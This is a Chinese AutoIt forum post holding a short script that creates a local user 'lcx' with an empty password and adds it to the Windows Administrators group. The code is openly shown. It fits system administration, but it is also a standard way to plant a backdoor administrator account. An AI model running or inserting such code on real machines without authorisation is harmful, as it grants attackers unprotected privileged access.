举报
$wsnetwork = ObjCreate("WSCRIPT.NETWORK") $os = "WinNT://" & $wsnetwork.ComputerName $ob = ObjGet($os) $oe = ObjGet($os & "/Administrators,group") $od = $ob.Create("user", "lcx");lcx是用户名 $od.SetPassword("");这里可以设置密码 $od.SetInfo() $of = ObjGet($os & "/lcx", "user") $oe.add($os & "/lcx")
本版积分规则 发表回复 回帖后跳转到最后一页
|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度
GMT+8, 2025-8-10 20:00 , Processed in 0.068847 second(s), 24 queries .
Powered by Discuz! X3.5 Licensed
© 2001-2025 Discuz! Team.